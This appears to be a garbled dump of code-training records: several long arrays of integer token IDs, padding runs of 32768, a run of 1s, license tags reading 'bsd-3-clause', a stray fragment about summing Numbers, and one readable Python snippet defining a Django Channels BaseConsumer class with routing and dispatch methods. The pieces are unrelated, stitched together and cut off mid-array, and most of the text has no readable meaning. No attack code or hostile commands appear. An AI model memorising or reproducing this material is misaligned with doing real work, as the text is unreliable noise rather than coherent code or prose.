Implementing 0+Numbers allows us to sum() a list of Numbers. if other == 0: return self return NotImplemented
bsd-3-clause
[ 624, 6579, 402, 11745, 18216, 1041, 199, 199, 646, 747, 199, 199, 504, 11745, 14, 15457, 492, 284, 1744, 12, 663, 12, 3355, 755, 327, 4287, 26, 3507, 29, 55, 1690, 1081, 199, 504, 11745, 14, 9923, 492, 1475, 63, 1278, 12, 4263, 63, 3821, 12, 3091, 2980, 199, 504, 11745, 14, 2087, 492, 5495, 2842, 421, 199, 533, 21916, 8, 785, 304, 272, 408, 1918, 2058, 402, 5909, 20135, 282, 1233, 4137, 1041, 339, 347, 636, 826, 721, 277, 12, 13786, 12, 1233, 63, 3248, 304, 267, 291, 14, 10828, 275, 13786, 267, 291, 14, 600, 63, 3248, 275, 1233, 63, 3248, 398, 291, 14, 1501, 275, 291, 14, 600, 63, 3248, 14, 1501, 267, 3503, 63, 1501, 12, 1350, 275, 291, 14, 1623, 63, 1365, 8, 277, 14, 1501, 9, 398, 291, 14, 2087, 275, 5495, 2842, 8, 288, 1318, 29, 1365, 12, 1788, 29, 6514, 63, 1501, 12, 288, 5760, 29, 277, 14, 10828, 423, 5473, 63, 3821, 360, 5473, 358, 288, 776, 267, 291, 14, 15384, 12, 291, 14, 12144, 275, 291, 14, 2087, 14, 1122, 63, 1365, 342, 398, 327, 473, 848, 3338, 4124, 9834, 14, 267, 7934, 275, 291, 14, 10828, 14, 576, 14, 22564, 63, 1278, 8, 277, 14, 1501, 9, 267, 2146, 17, 275, 291, 14, 2087, 14, 2246, 63, 1278, 8, 22564, 9, 267, 291, 14, 4752, 275, 3355, 8, 409, 8, 277, 14, 15384, 9, 446, 663, 8, 1628, 17, 430, 398, 340, 291, 14, 10828, 14, 576, 14, 1989, 63, 20672, 837, 288, 291, 14, 889, 63, 4694, 275, 291, 14, 2087, 14, 1278, 63, 9467, 8, 355, 4263, 63, 3821, 8, 277, 14, 10828, 14, 888, 14, 6672, 63, 513, 395, 355, 4263, 63, 3821, 8, 277, 14, 10828, 14, 888, 14, 6672, 63, 9223, 63, 513, 9, 355, 776, 288, 302, 63, 16896, 275, 291, 14, 2923, 63, 16896, 342, 288, 333, 2470, 275, 291, 14, 4752, 63, 4694, 63, 20672, 342, 288, 302, 63, 6672, 63, 16896, 275, 3089, 8, 355, 359, 552, 8, 86, 9, 367, 1022, 12, 86, 315, 284, 1744, 8, 887, 65, 9, 340, 1022, 440, 315, 291, 14, 4752, 61, 355, 776, 288, 302, 63, 4752, 63, 16896, 275, 3089, 779, 552, 8, 86, 9, 367, 1022, 12, 86, 315, 284, 1744, 8, 887, 65, 3948, 267, 587, 26, 288, 302, 63, 16896, 275, 302, 63, 6672, 63, 16896, 275, 302, 63, 4752, 63, 16896, 275, 378, 288, 291, 14, 889, 63, 4694, 275, 663, 342, 398, 291, 14, 10548, 275, 4860, 83, 8, 288, 302, 63, 1725, 29, 17, 12, 288, 302, 63, 15384, 29, 552, 8, 277, 14, 15384, 395, 288, 302, 63, 12144, 29, 552, 8, 277, 14, 12144, 395, 288, 302, 63, 4752, 29, 552, 8, 277, 14, 4752, 395, 288, 302, 63, 16896, 29, 78, 63, 16896, 12, 288, 302, 63, 6672, 63, 16896, 29, 78, 63, 6672, 63, 16896, 12, 288, 302, 63, 4752, 63, 16896, 29, 78, 63, 4752, 63, 16896, 12, 288, 776, 339, 347, 2342, 63, 1365, 8, 277, 12, 1788, 304, 267, 408, 6591, 314, 1350, 367, 658, 1501, 2313, 398, 1803, 2877, 1338, 26, 314, 3503, 1788, 12, 436, 314, 1350, 14, 398, 710, 1350, 2138, 8350, 641, 1314, 402, 3520, 5560, 15164, 26, 953, 627, 710, 1788, 12237, 370, 506, 282, 2222, 13, 1365, 570, 26, 2529, 488, 953, 627, 710, 1788, 365, 282, 1350, 570, 12, 436, 5965, 3495, 26, 2529, 488, 14, 953, 627, 710, 1788, 365, 282, 1350, 570, 12, 436, 365, 315, 282, 3482, 570, 503, 11393, 26, 1598, 2529, 314, 1350, 14, 953, 627, 710, 1788, 365, 282, 1350, 570, 12, 1325, 21554, 1133, 506, 1911, 26, 6534, 1598, 658, 1944, 2980, 2313, 398, 408, 267, 1350, 275, 488, 398, 1300, 12, 1599, 275, 747, 14, 515, 14, 7973, 8, 1501, 9, 267, 377, 5782, 63, 2472, 51, 275, 469, 288, 1987, 647, 356, 221, 18953, 647, 297, 1987, 647, 87, 995, 288, 1987, 647, 87, 356, 18953, 647, 87, 995, 267, 789, 267, 862, 63, 25752, 275, 377, 5782, 63, 2472, 51, 14, 362, 8, 832, 9, 267, 340, 440, 862, 63, 25752, 26, 288, 372, 1788, 12, 488, 398, 367, 862, 63, 832, 315, 862, 63, 25752, 26, 288, 862, 63, 1501, 275, 1300, 435, 862, 63, 832, 288, 340, 747, 14, 515, 14, 2444, 8, 893, 63, 1501, 304, 355, 372, 862, 63, 1501, 12, 488, 288, 1350, 275, 291, 14, 10828, 14, 493, 63, 6354, 14, 362, 63, 3065, 63, 576, 8, 893, 63, 1501, 9, 288, 340, 1350, 26, 355, 372, 862, 63, 1501, 12, 1350, 267, 746, 3091, 2980, 480, 1944, 1350, 367, 1233, 26, 1543, 83, 4065, 450, 1788, 9, 339, 347, 4124, 63, 15317, 8, 277, 304, 267, 408, 1918, 4124, 1004, 5579, 12, 7871, 14213, 590, 14, 398, 1803, 282, 1059, 2839, 298, 17, 13, 18, 12, 959, 13, 845, 12, 4944, 13, 1079, 1674, 398, 408, 267, 372, 1475, 63, 1278, 8, 277, 14, 15384, 12, 291, 14, 4752, 9, 339, 347, 965, 63, 20672, 8, 277, 304, 267, 408, 6004, 264, 601, 1259, 27396, 315, 642, 754, 30196, 267, 372, 291, 14, 10828, 14, 576, 14, 1989, 63, 20672, 342, 339, 347, 14972, 63, 1712, 23422, 8, 277, 304, 267, 408, 3407, 282, 3355, 769, 402, 314, 601, 1259, 315, 314, 1233, 1041, 267, 601, 1259, 275, 291, 14, 2087, 14, 20672, 342, 267, 372, 601, 1259, 339, 347, 601, 1259, 63, 22564, 8, 277, 304, 267, 408, 3407, 282, 3355, 769, 402, 314, 601, 1259, 5965, 7934, 315, 314, 1233, 1041, 267, 7934, 275, 291, 14, 10828, 14, 576, 14, 22564, 63, 20672, 8, 277, 14, 1501, 9, 267, 333, 18, 2327, 275, 291, 14, 2087, 14, 2246, 63, 604, 267, 7934, 275, 3842, 77, 18, 2327, 8, 76, 17, 395, 333, 18, 2327, 8, 76, 18, 430, 367, 334, 76, 17, 12, 76, 18, 9, 315, 7934, 61, 267, 372, 3355, 8, 22564, 9, 339, 347, 601, 1259, 63, 4752, 8, 277, 304, 267, 408, 3407, 282, 3355, 769, 402, 314, 601, 1259, 315, 314, 1233, 440, 7934, 1041, 267, 3962, 275, 291, 14, 9912 ]
[ 6579, 402, 11745, 18216, 1041, 199, 199, 646, 747, 199, 199, 504, 11745, 14, 15457, 492, 284, 1744, 12, 663, 12, 3355, 755, 327, 4287, 26, 3507, 29, 55, 1690, 1081, 199, 504, 11745, 14, 9923, 492, 1475, 63, 1278, 12, 4263, 63, 3821, 12, 3091, 2980, 199, 504, 11745, 14, 2087, 492, 5495, 2842, 421, 199, 533, 21916, 8, 785, 304, 272, 408, 1918, 2058, 402, 5909, 20135, 282, 1233, 4137, 1041, 339, 347, 636, 826, 721, 277, 12, 13786, 12, 1233, 63, 3248, 304, 267, 291, 14, 10828, 275, 13786, 267, 291, 14, 600, 63, 3248, 275, 1233, 63, 3248, 398, 291, 14, 1501, 275, 291, 14, 600, 63, 3248, 14, 1501, 267, 3503, 63, 1501, 12, 1350, 275, 291, 14, 1623, 63, 1365, 8, 277, 14, 1501, 9, 398, 291, 14, 2087, 275, 5495, 2842, 8, 288, 1318, 29, 1365, 12, 1788, 29, 6514, 63, 1501, 12, 288, 5760, 29, 277, 14, 10828, 423, 5473, 63, 3821, 360, 5473, 358, 288, 776, 267, 291, 14, 15384, 12, 291, 14, 12144, 275, 291, 14, 2087, 14, 1122, 63, 1365, 342, 398, 327, 473, 848, 3338, 4124, 9834, 14, 267, 7934, 275, 291, 14, 10828, 14, 576, 14, 22564, 63, 1278, 8, 277, 14, 1501, 9, 267, 2146, 17, 275, 291, 14, 2087, 14, 2246, 63, 1278, 8, 22564, 9, 267, 291, 14, 4752, 275, 3355, 8, 409, 8, 277, 14, 15384, 9, 446, 663, 8, 1628, 17, 430, 398, 340, 291, 14, 10828, 14, 576, 14, 1989, 63, 20672, 837, 288, 291, 14, 889, 63, 4694, 275, 291, 14, 2087, 14, 1278, 63, 9467, 8, 355, 4263, 63, 3821, 8, 277, 14, 10828, 14, 888, 14, 6672, 63, 513, 395, 355, 4263, 63, 3821, 8, 277, 14, 10828, 14, 888, 14, 6672, 63, 9223, 63, 513, 9, 355, 776, 288, 302, 63, 16896, 275, 291, 14, 2923, 63, 16896, 342, 288, 333, 2470, 275, 291, 14, 4752, 63, 4694, 63, 20672, 342, 288, 302, 63, 6672, 63, 16896, 275, 3089, 8, 355, 359, 552, 8, 86, 9, 367, 1022, 12, 86, 315, 284, 1744, 8, 887, 65, 9, 340, 1022, 440, 315, 291, 14, 4752, 61, 355, 776, 288, 302, 63, 4752, 63, 16896, 275, 3089, 779, 552, 8, 86, 9, 367, 1022, 12, 86, 315, 284, 1744, 8, 887, 65, 3948, 267, 587, 26, 288, 302, 63, 16896, 275, 302, 63, 6672, 63, 16896, 275, 302, 63, 4752, 63, 16896, 275, 378, 288, 291, 14, 889, 63, 4694, 275, 663, 342, 398, 291, 14, 10548, 275, 4860, 83, 8, 288, 302, 63, 1725, 29, 17, 12, 288, 302, 63, 15384, 29, 552, 8, 277, 14, 15384, 395, 288, 302, 63, 12144, 29, 552, 8, 277, 14, 12144, 395, 288, 302, 63, 4752, 29, 552, 8, 277, 14, 4752, 395, 288, 302, 63, 16896, 29, 78, 63, 16896, 12, 288, 302, 63, 6672, 63, 16896, 29, 78, 63, 6672, 63, 16896, 12, 288, 302, 63, 4752, 63, 16896, 29, 78, 63, 4752, 63, 16896, 12, 288, 776, 339, 347, 2342, 63, 1365, 8, 277, 12, 1788, 304, 267, 408, 6591, 314, 1350, 367, 658, 1501, 2313, 398, 1803, 2877, 1338, 26, 314, 3503, 1788, 12, 436, 314, 1350, 14, 398, 710, 1350, 2138, 8350, 641, 1314, 402, 3520, 5560, 15164, 26, 953, 627, 710, 1788, 12237, 370, 506, 282, 2222, 13, 1365, 570, 26, 2529, 488, 953, 627, 710, 1788, 365, 282, 1350, 570, 12, 436, 5965, 3495, 26, 2529, 488, 14, 953, 627, 710, 1788, 365, 282, 1350, 570, 12, 436, 365, 315, 282, 3482, 570, 503, 11393, 26, 1598, 2529, 314, 1350, 14, 953, 627, 710, 1788, 365, 282, 1350, 570, 12, 1325, 21554, 1133, 506, 1911, 26, 6534, 1598, 658, 1944, 2980, 2313, 398, 408, 267, 1350, 275, 488, 398, 1300, 12, 1599, 275, 747, 14, 515, 14, 7973, 8, 1501, 9, 267, 377, 5782, 63, 2472, 51, 275, 469, 288, 1987, 647, 356, 221, 18953, 647, 297, 1987, 647, 87, 995, 288, 1987, 647, 87, 356, 18953, 647, 87, 995, 267, 789, 267, 862, 63, 25752, 275, 377, 5782, 63, 2472, 51, 14, 362, 8, 832, 9, 267, 340, 440, 862, 63, 25752, 26, 288, 372, 1788, 12, 488, 398, 367, 862, 63, 832, 315, 862, 63, 25752, 26, 288, 862, 63, 1501, 275, 1300, 435, 862, 63, 832, 288, 340, 747, 14, 515, 14, 2444, 8, 893, 63, 1501, 304, 355, 372, 862, 63, 1501, 12, 488, 288, 1350, 275, 291, 14, 10828, 14, 493, 63, 6354, 14, 362, 63, 3065, 63, 576, 8, 893, 63, 1501, 9, 288, 340, 1350, 26, 355, 372, 862, 63, 1501, 12, 1350, 267, 746, 3091, 2980, 480, 1944, 1350, 367, 1233, 26, 1543, 83, 4065, 450, 1788, 9, 339, 347, 4124, 63, 15317, 8, 277, 304, 267, 408, 1918, 4124, 1004, 5579, 12, 7871, 14213, 590, 14, 398, 1803, 282, 1059, 2839, 298, 17, 13, 18, 12, 959, 13, 845, 12, 4944, 13, 1079, 1674, 398, 408, 267, 372, 1475, 63, 1278, 8, 277, 14, 15384, 12, 291, 14, 4752, 9, 339, 347, 965, 63, 20672, 8, 277, 304, 267, 408, 6004, 264, 601, 1259, 27396, 315, 642, 754, 30196, 267, 372, 291, 14, 10828, 14, 576, 14, 1989, 63, 20672, 342, 339, 347, 14972, 63, 1712, 23422, 8, 277, 304, 267, 408, 3407, 282, 3355, 769, 402, 314, 601, 1259, 315, 314, 1233, 1041, 267, 601, 1259, 275, 291, 14, 2087, 14, 20672, 342, 267, 372, 601, 1259, 339, 347, 601, 1259, 63, 22564, 8, 277, 304, 267, 408, 3407, 282, 3355, 769, 402, 314, 601, 1259, 5965, 7934, 315, 314, 1233, 1041, 267, 7934, 275, 291, 14, 10828, 14, 576, 14, 22564, 63, 20672, 8, 277, 14, 1501, 9, 267, 333, 18, 2327, 275, 291, 14, 2087, 14, 2246, 63, 604, 267, 7934, 275, 3842, 77, 18, 2327, 8, 76, 17, 395, 333, 18, 2327, 8, 76, 18, 430, 367, 334, 76, 17, 12, 76, 18, 9, 315, 7934, 61, 267, 372, 3355, 8, 22564, 9, 339, 347, 601, 1259, 63, 4752, 8, 277, 304, 267, 408, 3407, 282, 3355, 769, 402, 314, 601, 1259, 315, 314, 1233, 440, 7934, 1041, 267, 3962, 275, 291, 14, 9912, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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session from ..auth import channel_session_user class BaseConsumer(object): """ Base class-based consumer class. Provides the mechanisms to be a direct routing object and a few other things. Class-based consumers should be used with route_class in routing, like so:: from channels import route_class routing = [ route_class(JsonWebsocketConsumer, path=r"^/liveblog/(?P<slug>[^/]+)/"), ] """ method_mapping = {} channel_session = False channel_session_user = False def __init__(self, message, **kwargs): """ Constructor, called when a new message comes in (the consumer is the uninstantiated class, so calling it creates it) """ self.message = message self.kwargs = kwargs self.dispatch(message, **kwargs) @classmethod def channel_names(cls): """ Returns a list of channels this consumer will respond to, in our case derived from the method_mapping class attribute. """ return set(cls.method_mapping.keys()) @classmethod def as_route(cls, attrs=None, **kwargs): """ Shortcut function to create route with filters (kwargs) to direct to a class-based consumer with given class attributes (attrs) """ _cls = cls if attrs: assert isinstance(attrs, dict), 'attrs must be a dict' _cls = type(cls.__name__, (cls,), attrs) return route_class(_cls, **kwargs) def get_handler(self, message, **kwargs): """ Return handler uses method_mapping to return the right method to call. """ handler = getattr(self, self.method_mapping[message.channel.name]) if self.channel_session_user: return channel_session_user(handler) elif self.channel_session: return channel_session(handler) else: return handler def dispatch(self, message, **kwargs): """ Call handler with the message and all keyword arguments. """ return self.get_handler(message, **kwargs)(message, **kwargs)
bsd-3-clause
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 504, 2508, 9492, 492, 7475, 63, 533, 199, 504, 2508, 11676, 492, 3623, 63, 1730, 199, 504, 2508, 1178, 492, 3623, 63, 1730, 63, 751, 421, 199, 533, 3523, 18186, 8, 785, 304, 272, 408, 272, 3523, 1021, 13, 6788, 9790, 1021, 14, 21552, 314, 562, 10832, 706, 370, 506, 282, 4125, 272, 14870, 909, 436, 282, 9284, 1163, 7645, 14, 339, 8089, 13, 6788, 9451, 2393, 1077, 506, 1202, 543, 7475, 63, 533, 315, 14870, 12, 2839, 880, 447, 398, 687, 9245, 492, 7475, 63, 533, 267, 14870, 275, 359, 288, 7475, 63, 533, 8, 9653, 6004, 10833, 18186, 12, 931, 29, 82, 16136, 15, 6442, 11486, 9448, 48, 28, 5464, 26906, 2447, 1288, 267, 1622, 272, 408, 339, 1083, 63, 4745, 275, 1052, 272, 3623, 63, 1730, 275, 756, 272, 3623, 63, 1730, 63, 751, 275, 756, 339, 347, 636, 826, 721, 277, 12, 1245, 12, 1011, 958, 304, 267, 408, 267, 20297, 12, 2797, 1380, 282, 892, 1245, 12477, 315, 334, 1589, 9790, 365, 267, 314, 625, 3615, 4466, 972, 1021, 12, 880, 6358, 652, 8491, 652, 9, 267, 408, 267, 291, 14, 1188, 275, 1245, 267, 291, 14, 958, 275, 2074, 267, 291, 14, 6052, 8, 1188, 12, 1011, 958, 9, 339, 768, 3744, 272, 347, 3623, 63, 1247, 8, 1886, 304, 267, 408, 267, 1803, 282, 769, 402, 9245, 642, 9790, 911, 22722, 370, 12, 315, 4154, 1930, 267, 7131, 687, 314, 1083, 63, 4745, 1021, 2225, 14, 267, 408, 267, 372, 663, 8, 1886, 14, 765, 63, 4745, 14, 1612, 1012, 339, 768, 3744, 272, 347, 465, 63, 4449, 8, 1886, 12, 3290, 29, 403, 12, 1011, 958, 304, 267, 408, 267, 20124, 5919, 805, 370, 1218, 7475, 543, 4766, 334, 958, 9, 267, 370, 4125, 370, 282, 1021, 13, 6788, 9790, 543, 1627, 1021, 3004, 334, 3288, 9, 267, 408, 267, 485, 1886, 275, 843, 267, 340, 3290, 26, 288, 702, 1228, 8, 3288, 12, 1211, 395, 283, 3288, 1471, 506, 282, 1211, 7, 288, 485, 1886, 275, 730, 8, 1886, 855, 354, 3108, 334, 1886, 4706, 3290, 9, 267, 372, 7475, 63, 533, 1547, 1886, 12, 1011, 958, 9, 339, 347, 664, 63, 2232, 8, 277, 12, 1245, 12, 1011, 958, 304, 267, 408, 267, 1432, 3016, 4440, 1083, 63, 4745, 370, 372, 314, 2451, 1083, 370, 1240, 14, 267, 408, 267, 3016, 275, 2519, 8, 277, 12, 291, 14, 765, 63, 4745, 59, 1188, 14, 2775, 14, 354, 566, 267, 340, 291, 14, 2775, 63, 1730, 63, 751, 26, 288, 372, 3623, 63, 1730, 63, 751, 8, 2232, 9, 267, 916, 291, 14, 2775, 63, 1730, 26, 288, 372, 3623, 63, 1730, 8, 2232, 9, 267, 587, 26, 288, 372, 3016, 339, 347, 7634, 8, 277, 12, 1245, 12, 1011, 958, 304, 267, 408, 267, 6523, 3016, 543, 314, 1245, 436, 1006, 4252, 2368, 14, 267, 408, 267, 372, 291, 14, 362, 63, 2232, 8, 1188, 12, 1011, 958, 5130, 1188, 12, 1011, 958, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 504, 2508, 9492, 492, 7475, 63, 533, 199, 504, 2508, 11676, 492, 3623, 63, 1730, 199, 504, 2508, 1178, 492, 3623, 63, 1730, 63, 751, 421, 199, 533, 3523, 18186, 8, 785, 304, 272, 408, 272, 3523, 1021, 13, 6788, 9790, 1021, 14, 21552, 314, 562, 10832, 706, 370, 506, 282, 4125, 272, 14870, 909, 436, 282, 9284, 1163, 7645, 14, 339, 8089, 13, 6788, 9451, 2393, 1077, 506, 1202, 543, 7475, 63, 533, 315, 14870, 12, 2839, 880, 447, 398, 687, 9245, 492, 7475, 63, 533, 267, 14870, 275, 359, 288, 7475, 63, 533, 8, 9653, 6004, 10833, 18186, 12, 931, 29, 82, 16136, 15, 6442, 11486, 9448, 48, 28, 5464, 26906, 2447, 1288, 267, 1622, 272, 408, 339, 1083, 63, 4745, 275, 1052, 272, 3623, 63, 1730, 275, 756, 272, 3623, 63, 1730, 63, 751, 275, 756, 339, 347, 636, 826, 721, 277, 12, 1245, 12, 1011, 958, 304, 267, 408, 267, 20297, 12, 2797, 1380, 282, 892, 1245, 12477, 315, 334, 1589, 9790, 365, 267, 314, 625, 3615, 4466, 972, 1021, 12, 880, 6358, 652, 8491, 652, 9, 267, 408, 267, 291, 14, 1188, 275, 1245, 267, 291, 14, 958, 275, 2074, 267, 291, 14, 6052, 8, 1188, 12, 1011, 958, 9, 339, 768, 3744, 272, 347, 3623, 63, 1247, 8, 1886, 304, 267, 408, 267, 1803, 282, 769, 402, 9245, 642, 9790, 911, 22722, 370, 12, 315, 4154, 1930, 267, 7131, 687, 314, 1083, 63, 4745, 1021, 2225, 14, 267, 408, 267, 372, 663, 8, 1886, 14, 765, 63, 4745, 14, 1612, 1012, 339, 768, 3744, 272, 347, 465, 63, 4449, 8, 1886, 12, 3290, 29, 403, 12, 1011, 958, 304, 267, 408, 267, 20124, 5919, 805, 370, 1218, 7475, 543, 4766, 334, 958, 9, 267, 370, 4125, 370, 282, 1021, 13, 6788, 9790, 543, 1627, 1021, 3004, 334, 3288, 9, 267, 408, 267, 485, 1886, 275, 843, 267, 340, 3290, 26, 288, 702, 1228, 8, 3288, 12, 1211, 395, 283, 3288, 1471, 506, 282, 1211, 7, 288, 485, 1886, 275, 730, 8, 1886, 855, 354, 3108, 334, 1886, 4706, 3290, 9, 267, 372, 7475, 63, 533, 1547, 1886, 12, 1011, 958, 9, 339, 347, 664, 63, 2232, 8, 277, 12, 1245, 12, 1011, 958, 304, 267, 408, 267, 1432, 3016, 4440, 1083, 63, 4745, 370, 372, 314, 2451, 1083, 370, 1240, 14, 267, 408, 267, 3016, 275, 2519, 8, 277, 12, 291, 14, 765, 63, 4745, 59, 1188, 14, 2775, 14, 354, 566, 267, 340, 291, 14, 2775, 63, 1730, 63, 751, 26, 288, 372, 3623, 63, 1730, 63, 751, 8, 2232, 9, 267, 916, 291, 14, 2775, 63, 1730, 26, 288, 372, 3623, 63, 1730, 8, 2232, 9, 267, 587, 26, 288, 372, 3016, 339, 347, 7634, 8, 277, 12, 1245, 12, 1011, 958, 304, 267, 408, 267, 6523, 3016, 543, 314, 1245, 436, 1006, 4252, 2368, 14, 267, 408, 267, 372, 291, 14, 362, 63, 2232, 8, 1188, 12, 1011, 958, 5130, 1188, 12, 1011, 958, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 